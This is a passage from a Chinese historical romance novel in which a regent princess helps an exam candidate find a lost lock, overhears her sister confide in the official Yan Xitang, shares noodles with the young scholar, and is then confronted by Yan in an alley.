于是,景和一朝里,两位最为人大面大的人,就在这渐渐幽暗的狭小
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号房里,床边的地上,一坐一蹲,以一种奇怪的姿势,开始聊天——
“公主……在找什么?”
“有个考生掉了东西,禁卫不让他进来,我来帮他找找……”
“找到了?”
“嗯,就是这个……一把长命锁。”
“那公主……来这贡院做什么?”
总不是专门来替考生找东西的吗?
“就是……来看看,不行吗?”
她一摄政监国的长公主,来这春闱考场看看朝臣们有没有卖力干活,有没有徇私舞弊,不行吗?
“行,当然行!”那人一副很开心的样子,笑得眉眼弯弯,禁不住地抬手,抚额去冷静,那突来的幸福。
他就理解为,她是来看他的!可不是收了他的礼,领了他的情,就急急地来看他了?
然后又问:
“臣托陛下送的生辰礼,公主可还喜欢?”
“喜欢,谢谢……”长公主殿下大大方方地道了谢,然后从袖中摸出那把白玉龙头裁纸刀来,摊开掌心示物,“这礼,小巧又实用,大人有心了……”
这下轮到男子傻了眼,眉头上皱出个川字,清隽面容上,依稀染着疲色,抬手一把抹脸,定了定神,终是问到:
“那张……步松月呢?”
“哦,那张琴,我不喜,便换给陛下了……”女郎摇头,一脸淡淡的嫌弃。
“……”晏西棠无言,嗔目,惊叹于她的古怪行径。继而就暗淡了神色,瞬间领会了,这是对他的琴挑情意的含蓄拒绝。
女郎垂眸,旁顾,有种藏着掖着的心虚。
男子不死心地,正待偏头去察,却听号间外头,有人在请唤:
“晏大人!”
“何事?”晏西棠不悦。
“扶疏长公主在门口,想要见大人。”原是门口的禁卫,跑进来通传。
“不见!”晏大人不悦的时候,也是要耍威风的,管他什么公主王侯,他也敢于怠慢。
扶疏长公主跟这春闱考试没半毛钱关系,他可以理直气壮地不见。
“扶疏殿下,情绪有些激动,说是见不着大人,她今夜就不走了……”那禁卫却是个细心而执着的,怕是想着,那上门来找茬的娇贵公主,大人不见,那她就要在门上,折腾他们这些守门的啊。
“你去见一见吧,她找你,应是有话想与你说……”身旁那坐地的女郎,突然开口。
“……”晏西棠一脸无辜地,看向她。
“我今日,跟她吵了一架,吵得……有些凶,她也没个人可以倾诉,怕是将你当做亲近的人,想要找你诉一诉……”女郎低头,有些想哭。
其实,她心里的糟乱,也没个人诉。
“公主……真是这样想?”晏西棠凑脸来,低声问她。
“真是……这样想!”夜鸣珂别头,低低地答。
“那公主想不想听一听,扶疏找我,要些说什么?”那人偏偏越凑越近,几近附耳来,幽幽低语。既是碍于外头等候的禁卫,又是有些故意的偷香闻息。
“不想!”女郎也懒得去躲,只略略地摇了摇头。
她整个人,都软软的,钝钝的,如此时那一点点变浓的暮色,绵绵而消沉。
“你这口是心非的毛病,什么时候才改得了?”那人却不以为然地嗤笑着,起身来,突然一个躬身伸手,就将她提抱起来,搁在了那小床上,“地上凉,坐到这上边来。”
夜鸣珂想要跳起来,又被一把按住肩头。
“公主答应我,就在这里等着,别走,我去请扶疏殿下进来,就在这旁边说话,你且听着!”
那人低声说着,摆出一副要在她面前彻底敞亮的姿态来。
说罢,竟还又低头下来,在她额头上,蜻蜓顿足一般,一个轻轻的吻。
夜鸣珂没怎么反应过来。
待反应过来时,人已离去,留下额上一个温凉吻印。
那突来的亲昵,像是一种看透她心扉的无言安慰,忽如春风拂柳,暖得她浑身发颤。
既是一种莫大的慰藉,又是一种莫名的惆怅。
她发现,自己深陷于一片无边的迷乱,如那浓浓袭来的暮色。
闲坐等待着,不觉拔出那把白玉小刀,轻轻地往掌心里捏,利刃微刺,才有种清醒。
又觉坐得难受,依旧滑到床下去,以床沿为靠,蹲坐着,缩成一团,方觉心安。
像一只仓皇无助的小兔。
28. 二月十七.第四回合
那天傍晚,夜鸣珂就静静地坐在横甲竖丙的号间里,听了一场别有用心的墙壁。
晏西棠是知道她在听的,扶疏应是不知道。
但那些话,却像是有意无意地,在说给她听,听来,犹如自己的心之回声。
教人唏嘘不已。
事后许久,她与扶疏闲话,扶疏才说,虽不知当时姐姐就在隔壁,但来时,看见那辆乌漆暗纹的马车了,便猜到她多半是在附近某个地方的,又想着,不论她与晏西棠说什么,晏西棠多半都会告诉姐姐,故而,对着晏西棠说话,就好比对着姐姐说话一般。
只是没有想到,晏西棠如此刁钻,居然直接让姐姐坐在隔壁听,幸好,没有说什么坏话。
那妹妹拍着胸脯,吐了吐舌头,凝神侧目地,想了想,又怕记忆模糊了,还追着问她,姐姐,我有说你的坏话吗?
夜鸣珂便笑说,可不,全部是坏话。
姐妹二人遂无芥蒂,嬉笑着打闹作一团。
此为后话,且说当时。
那隔壁的号间里,扶疏的声音,时而怯,时而勇,如一条在乱石间寻路的小溪,迷茫而莽撞。
“晏哥哥……”
“……”晏西棠一时不适应。
“叫您大人,好生份,可又不知该如何叫得亲近些,我听容语微叫您哥哥,那是有师门之谊,我听陛下叫您姐夫,那是他……”
“那就叫哥哥吧。”晏西棠便笑着,打断了她。
“好的,晏哥哥……”少女笑得满足。
“嗯……”晏西棠应着,等着她的倾吐。
少女停顿少息,便开始了倾诉:
“前些天,琳琅姐姐找我去,说想要将我嫁给西北军中,云中侯世子……其实,我心头是不愿的,我自幼长在这京城里,别说走出京城,就连皇宫都出得少,现在还要我孤身一人,去那千里之外的西北,我想着就有些害怕。……听说那西北日头毒,风沙大,长年战乱,还有,秦琅……我也不熟,他那个人,我虽见过几次,可是,他的眼睛,一直都长在我姐姐身上,我于他,他于我,也都就是一个陌生人吧。所以,要去一个陌生地方,嫁给一个陌生人,我真的,想着就恐慌……
“而且,我之前想得到的,要嫁,就要嫁晏哥哥这样的人,满腹才华,谦逊温和,而不是那种只会打打杀杀的军中莽夫……
“可是,后来,姐姐说,秦琅是个很好的人,比晏哥哥你……强多了,且这皇家姻亲,也不光是挑选如意郎君,也有些朝政与军事的作用,我作为一个皇家公主,自然也有该尽的责任。……我就想啊,我也得像姐姐那样,我一直都想以姐姐为榜样的,学她的样子,知书达理,聪明能干,深明大义……只是,有时候,就是胆小怕事,没有勇气去做……
“今日姐姐生辰,我本想去告诉她,我愿意去西北……我还带了一条流苏吊坠,作为她的生辰礼。晏哥哥你别笑,姐姐向来,不喜我们送她贵重之物的,也就这些不起眼的小物,她才要收。前些天瞧着她的一条佩玉吊坠坏了,我就自己编织了一条带去,虽说是有些丑,但也是我的心意……
“我去那延庆宫,却正好看见晏哥哥送她的琴,我才恍然,敢情,晏哥哥跟姐姐,才是有情有意的一对,我真是傻……我当时,也是气急了,觉得她是在诓骗我,将我支使远嫁去西北,便说了一些很过分的话,现在冷静下来想一想,那些话,可能伤到姐姐的心了……”
悠悠缓缓,兜兜转转,说了一通原委,扶疏停了下来,歇口气。
“没关系,你姐姐不会怪你的……”晏西棠突然插了一句,像在安慰。
却说得好像他就可以做主一般。
“我知道,她不会怪我。她待我,跟待青岚一样,一直都当我们是需要照顾和保护的弟弟妹妹。所以,今日这般,她只会认为,如果我嫉恨她,就是她没有照顾好我,然后,她会伤心和自责的……”
少女的声音,还有些稚气,可也是说不出的懂事与明理,心思灵巧,深解人意。
“晏哥哥你不知道,当时,我发誓赌咒地说,就算是出家做姑子,孤老过终身,我也不会嫁给秦琅,让她如愿!……后头,后头,她也就跟着急了……就把你送给她的琴,给割断了,然后,她也说,就算是出家做姑子,孤老过终身,也不会跟晏哥哥再有任何瓜葛……”
“……”晏西棠像是被哽住了一般,一声凝住的抽气。
“晏哥哥也不要难过,姐姐……她说的,其实是气话,是为了堵我的口呢,为了让我心服口服,顺顺当当地,嫁去西北。她那个人,心头装的,最大的事情,就是家国朝政,为了能把这些做好,她什么都舍得,什么都做得出来,再大的委屈,她也可以自己忍了……可是,就是这样,我也觉得,好心疼她……
“我想了半天,这会儿想明白了,是我说错了些话,我想把它收回,好不好?我愿意嫁去西北,嫁给秦琅……晏哥哥,拜托您,您告诉姐姐,也让她收回那些话,好不好?我知道,自己错了,可是,我没有勇气向她认错……我也不该埋怨姐姐欺瞒我,我早该想到的,姐姐跟晏哥哥认识多年,你们情意想通,那一定也是比我认识晏哥哥,还要早的事情。我凭什么觉得,是她在跟我抢夺喜欢的人呢……”
“扶疏,你好像误会了,我跟你姐姐,好像也没怎么情意想通……吧。”
听着少女的说道,轮到晏西棠意兴阑珊,叹了口气。
是有多没心,才会几刀剪断那琴弦?还有,就算是出家做姑子,孤老过终身,也不会跟他有任何瓜葛的那种狠话,听来总是有些受伤。
“不是这样的!”少女赶紧叫嚷着,解释,“姐姐她……是喜欢你的!既是她嘴上不说,甚至,心里也可能没怎么想清楚,可是,我就是知道!今日下午,我坐在那御花园子里,使劲地想,就琢磨出来了,她劝说我嫁给秦琅时,就说晏哥哥您年龄又大,家里又穷,性子又抠,还是个克妻命格……哎呀,不对,又说错了,不是,反正,我是想说,她的那种讨厌,就是喜欢!……
“晏哥哥,你别皱眉啊,你信我,信我啦,我的直觉,很灵的……
“姐姐这个人,就是这样的,她待人,从来都是谦和有礼,且越是不喜的人,她表面上越是客气,只有她心头喜欢的人,不当外人的人,她才会毫不留情地,挑他的坏处,说她的讨厌……”
“我现在才反应过来,之前,我成日在她耳边念叨,说晏哥哥怎样的好,我好喜欢,她却总是不以为然,尽说你的坏话,我还纳闷呢,晏哥哥这样的人物,为何就入不了姐姐的眼?不曾想,原是早就入了心底的,才不至于浅浮于眼……”
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那少女还在一摞一摞地,搬出自己的理由。
心思通了,心情畅了,也开始,有拊掌轻拍之声,得意上扬的尾音。
“扶疏……”晏西棠却是一声哀吟,止住她。
再往下,他还不知自己要被践踏到何种境地去。
“不是,晏哥哥,谢谢您听我倾诉,我把这些话说了一遍,也就想通了,不伤心了,你也别难过啊,以你在我姐姐心中的讨厌程度,可是无人能比的!哎呀,不对,是喜欢程度,真的是喜欢啊……”
隔壁,夜鸣珂也听不下去了。
趁着幽浓夜色,轻手轻脚,出了那横甲竖丙的号间,从另一边溜走,一路钻出贡院去。
她本以为,扶疏跑到贡院来找晏西棠,是心头难堪,来寻求安慰的。没想到,倒得后头,却变成了她在安慰晏西棠,虽说,那安慰,呃……似乎有些适得其反。
但是,无伤大雅吧。
反正,她在晏西棠心中,可能也没少留坏形象,就那样了。
最让她欣慰的是,那妹妹心头,竟然也是特别的深邃而清明,能想得通事理,能体谅得人。
这样的皇家公主,嫁去西北军中,她也无需有太多的担忧。
而且,只要扶疏没了心结,她也就没了心结。
忽觉心头畅快,出那贡院大门时,步履都是轻快的,轻快地迈门槛,轻快地下台阶。
然后,就看见,那个青襟白衣的小书生,拢袖低头,一堆铺盖卷搁脚边,傻乎乎,静悄悄,还在等着呢。
琳琅长公主这才想起来,她是进去给人家找东西的。
遂从袖中摸出那把从号间床下墙角找到的银锁来,递与他,又还笑着抱歉:“久等了啊……”
那沈南烛双手接过银锁,恭敬道谢:
“怎敢言久等,是……您……帮了我大忙……”
“叫姐姐吧。”夜鸣珂见他称呼得滞涩,一副知道她是个大人物,却又不想当她是个大人物的别扭,索性挥挥袖,许他一个更熟络的称呼。
卿若的弟弟嘛,喊她一声姐姐,也使得。
“哦,公主……姐姐……我应该怎样感谢才是?”那小书生有些钝钝的,又还很讲礼。
“不用了,举手之劳而已……”夜鸣珂转身,举步,要往那巷口马车上去。
就当是母亲教的,日行一善了。
也生怕等下扶疏出来,撞见了多尴尬。
“可……”沈南烛尚停在原地,举目追她,一脸涩涩的犹豫。
夜鸣珂转了回来,看着那副实在好玩的表情,不觉笑开来:
“这样吧,我这会儿肚子饿了,你请我到那边吃一碗面吧。”
贡院旁边,一巷之隔,是一个热闹的夜集,依稀喧嚣沸腾入耳,引得人心浮动。
帮他一个小忙,吃他一碗小面,她受之无愧,他也心安理得。
不行难报之恩,也不要,总让别人觉得,欠了你的情。
这也是母亲教的。
二月十七夜,贡院大门外,这个二十岁的生辰夜,她又默默地,想了一遍母亲的教诲。
也想起来,中午那生辰小宴,光顾着怄气去了,也没好好地吃。
这会儿,得到那烟火夜集上,认真吃上一碗面补上。
方是圆满。
29. 二月十七.第五回合
“师傅,不要葱,不要蒜,不要酱醋,不要辣椒,只要油和盐。”
那灯影重重的夜集街角,热气腾腾的面摊子上,夜鸣珂挑剔地,冲着煮面的师傅讲她的要求。
说得那个师傅,一阵朗声笑答。都像她这样吃面,他可就赚了。
女郎吃面的方式,亦让沈南烛惊讶。
“在下沈南烛……”少年郎搓着双手,作自我介绍。
“嗯……”夜鸣珂漫不经心地听着,又摸出那把白玉小刀,在手里把玩。
两人在一张简易小桌前,对坐。
“今年十八岁……”沈南烛又说。
想来,面对面地杵着,干等那碗面端上来,也挺尴尬的。
“嗯……”女郎的注意力,仍在手中小刀上。
“我是个孤儿,自小就没了父母……是养父将我收留,带大,前几年……他也过世了。……现在家中只有个姐姐……”沈南烛就只得,一句一顿地,自荐身世。
“哦,我知道,你姐姐,叫做卿若,对吧?”女郎终是放下手中小刀,抬眸来与他说话。
“你都知道?!”沈南烛惊诧轻呼。
清秀的少年郎,瞪圆一双大眼,有些钝钝的稚气。
夜鸣珂便笑着,点头:
“知道啊,我认识你姐姐……”
“知道,还等我说了半天……”那少年便低头,嘀咕了一句。
“哈,就是想看你诚不诚实啊?”夜鸣珂磨着牙齿,嘴角莞尔,浮了些许坏坏的笑意。
看来,他没怎么当她是个尊贵的公主殿下,她也就当他是个比青岚大不了多少的少年弟弟,信口就逗一逗。
这路边面摊上,红尘市井,热闹喧嚣,倒是颇能让人放下平日的身份,融入到眼前那烟火地气中去。
“你……怎么会认识我姐姐的?”那少年郎凝神想了想,又问。
看似随意,实则心思细密着呢。是啊,公主殿下跟云韶花娘,怎么认识的?
“我去云韶喝酒认识的啊……”夜鸣珂也不避讳。
“哦……”沈南烛就憨憨地,点点头,继而又像是反应过来了,浮一脸怪异的戒备,将她看着。
大约也是想到,去云韶喝酒的女郎,都是些什么人……
“哎,你想到哪里去了,我就是去跟你姐姐聊聊天而已!”
夜鸣珂看出那一脸精怪,就像觉得她放荡,也怕她要吃他似的,赶紧笑着解释。
说罢,又觉得这话也没怎么对,没事跑那云韶府去找人聊天,也是破绽。
彼时,一碗热腾腾的白油素面端了上来,她执起筷子,未挑面,就先用筷头,虚虚地,要戳他额头。
权当是化解那份尴尬。
“……”那儿郎本能地,微微侧身偏头去躲。
一时间,两人融洽,远远看去,就像在亲昵打闹一般。
“喝酒时,你姐姐跟我聊起过你,我就记住你的名字了。”女郎一边吃面,一边抽空,终是给他说了原由。
“我姐姐……她怎么说我的?”沈南烛突然眼神一亮,来有些好奇的兴致。
“说你不省心!”
“哦……”少年一声囧囧的憨笑,又低了头。
突又抬头,欲言,又止,就像生怕打断她吃面一般,只是继续憨憨的笑,双手交替着,互相砸拳玩儿。
有些小小的倔傲,又有种温顺的乖巧。
怪讨人喜欢的感觉。
夜鸣珂抬眸,看着那小心翼翼的小模样,心生一种看弟弟的淡淡温柔,遂问他:
“你怎么不吃?”
才发现,只有一碗面,他就眼巴巴地,看着她吃,看得她都有些不好意思。
“今日考试完毕,姐姐说好了,要等着我回家吃饭的,她要备很多的菜,我现在吃了,等会儿就吃不下了,我吃不下,她会不高兴的……”
原来,那欲言又止,坐立不安,是等着她快些吃完,他好回家呢!
“那你赶紧回去吧,你瞧,都这么晚了……”她也算洒脱,赶紧替他着想了一下。
“可是,既然,是我请公主姐姐吃饭,那……”
那不是应该看着你吃完吗?
“没事儿,你先把面钱付了,就算是请我了,啊?”
“哦,这……”
这也可以啊?
“快走,快走,不然你亲姐姐要怪我的,不送!”
夜鸣珂索性抬手,伸过桌面,够着他的胳膊,又刨又推的,将他撵起身来,让他赶快回家去。
这才一会儿工夫,她就见识了,这个小子,是个心思如发,倔强如牛,且又吞吞吐吐,磨磨唧唧的性子。
就是那种你不知道他下一刻要说什么做什么的九曲回肠,可能确实不让人省心。
遂笑着摇头,看着他起身,到面摊老板那里,付了面钱,又过来拎起那铺盖卷,以为他要讲个礼,告个辞,道个别什么的,哪知却冲她说了一句:
“她其实,不是我亲姐姐……”
竟还在纠正她的上一句话呢。
“好的,我明白了,快走吧!”
夜鸣珂就笑得,眉眼弯弯。心道,不仅是个九曲回肠,还是个读书读傻了的一根筋。
“你……明白什么了?”那少年还一脸的认真,反问她。
“不是亲姐姐,但是比亲姐姐还亲,不是吗?”她顺口溜了一句,看得出,那姐弟情深,相依为命。
“跟你说了,也不懂……”沈南烛面色凝滞,嘀咕了一句。
竟还不屑与她说了。
“好吧,我不懂,我吃面了……”夜鸣珂不跟他计较,冲他挥挥手,示意他快走,便自顾埋头,慢条斯理吃面去。
心中就当他是个没长醒的弟弟,不觉有种宠溺。
那么多春闱考生,竟然也能在大门上撞上这个唯一知道名字的,也算是种巧遇。
且也觉得挺投缘的。
那少年终是行礼告辞,再转身,一头扎进那灯火市集中。
∝∝∝
夜鸣珂继续坐在那面摊子上,吃面。
等她一根一根地,把那碗清汤素面吃完。
还喝了几口,那桌上的温热粗茶。粗瓷茶碗,深红汤色,有种田间地头的麦香。
怪好喝的。
吃饱喝足,摇头晃脑,甩手踢脚,带些惬意地,离了面摊子,过街面,往贡院那巷子走过去。
没走出两步,就傻眼了。
原本,是紫绡和两名扈从,在那巷口等她的,这会儿,却换了一个人。
也不知是何时换了的,她想来是专心吃面去了,竟没有注意到。
巷口阴影中,男子一身锦绣官服,长身玉立,如暗夜芝兰,隐隐光彩。可那浑身气场,比阑珊阴影还阴。
夜鸣珂只得讪讪地笑笑。
停住脚步,左右看了看,想着要不要再到市集上逛一圈呢?
犹豫了一下,还是觉得,逃避不是办法,遂硬着头皮,走上前去。
她的马车停在巷子的那一头,贡院门口。总是要从那人身边通过的。
步步行过去,抵了跟前,离了三尺远,给了一个笑脸,就从他身边,快步一迈,想要溜过去。
那溜步之际,后腰都在发紧,生怕被他突然来拦,或者是拉。
可似乎,什么都没有发生。
那人站着没动,手也没抬,就那么冷冷地转眸,目送着她,柳枝条儿一般,晃进黑巷之中。
走出几步开外去,再侧身回眸,觑见那人还是没动。
可女郎仍觉得不安全,便提裙,直想拔腿就跑。
那巷子,其实不长。另一头巷口,贡院大门的灯照进来的光亮处,还停着她的马车,紫绡就等在那车旁的,还在
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踮脚伸头地,往这巷中看呢。
她简直想要一步飞到车上去。
可作势未飞,那人却从后面几步抢过来,长臂一伸,就将她拦腰抱住。
“啊……”
那黑灯瞎火之中,突被人从身后抱住,还给掐得几乎离了地,便吓得她一声惊呼。
“公主跑什么?”男子前胸贴她后背,将她箍在胸怀处,垂头锁她肩上,低声质问。
“没……没跑什么……”女郎赶紧否认。
“殿下……”紫绡似乎听到些动静,试着探头来问。
“我与晏大人说几句话,等下过来!”夜鸣珂扬声,止住她。
紫绡自然是识趣地,没声了。
甚至还带着那两个扈从,一起走出巷口,到贡院大门处的光亮中去等候。
留出足够的暗黑空间,等公主殿下和晏大人说话。
一阵只听见呼吸声的沉寂。
身后那人就一声冷笑:
“公主不是要与臣说话吗?说呀?……”
“你先放手,我……气紧……”
那人手臂卡在她胸腔与肚腹之间那个位置,将她死死地勒着,有些故意的狠劲儿。
听她是有些难受,这才松手。
女郎趁机挪步,往边上墙壁一靠,歇口气。
男子却跟着倾身过来,抬手撑墙,依旧将她禁锢在身前。
还是像在防着她跑一般。
女郎就觉得他好小气,不觉抬手去推,触手碰到那铁板似的胸膛,反倒将他反弹得,压得更近。
那温润之人,发起狠来,有种妖气。
夜鸣珂只得撤手,背心贴墙,踮脚扭头,极力保持着最后的距离。
“说吧……”
男子却只管倾身凑脸的,几近是压在她身上,来洗耳恭听。
女郎只得从头思量,想着该说什么。
“那张琴,我已经让陛下拿去修了,选上好的丝弦,重新绷了,也还能用,等修好了,我就去跟陛下换回来……”
这就算是认错吧。
这也是最委婉,也是最大限度的认错了。
总不能说自己不该割弦,不该撩狠话,不出家当尼姑了,还要继续跟他缠缠绵绵,无尽瓜葛。
琳琅长公主也是个死要面子的人。
那割断的琴弦,她想办法续了,就算是认错;那撩的狠话,就当风吹散了,装着没说过,就算是反悔。
“还有呢……”那人沉吟少息,算是放过她这一着。
夜鸣珂又仰头,去想今日还有哪些得罪他的地方。
“我也不该总在扶疏面前说你的坏话……”女郎自己说得,都不好意思地笑。
不该说你心深似海,狡猾如狐,年龄又大,家里又穷,性子又抠,诸如此类。
“没关系,我不介意……”晏西棠摇头,一副习惯了的样子。
“哦……”夜鸣珂倒是有些意外。
“还有呢?”男子依旧一副冷沉声色,还在刨问。
“还有啊?”女郎就懵了。
敢情,说了半天,没说到点上。
“刚才那小子,是怎么回事?”
“哦……他啊……”女郎恍然。
怪不得,一副捉奸的怨恨模样,敢情,是看不惯那个小书生啊。
“我帮他进去找了东西,他就请我吃了一碗面,以示感谢,正好我肚子饿了,正好我也还想吃一碗面,中午都没有认真吃……”
“……”男子不置可否。
“他是云韶府里卿若的弟弟,今年才十八岁,就来参加春闱了,想必也是有些本事的……就是有点愣头愣脑的,不过,也蛮好玩……”
女郎还在啰里啰嗦地,回味赞赏着那个小书生。
晏西棠却早已听得不耐,抬手捧住她后脑,一个偏头递嘴,就将她堵了口。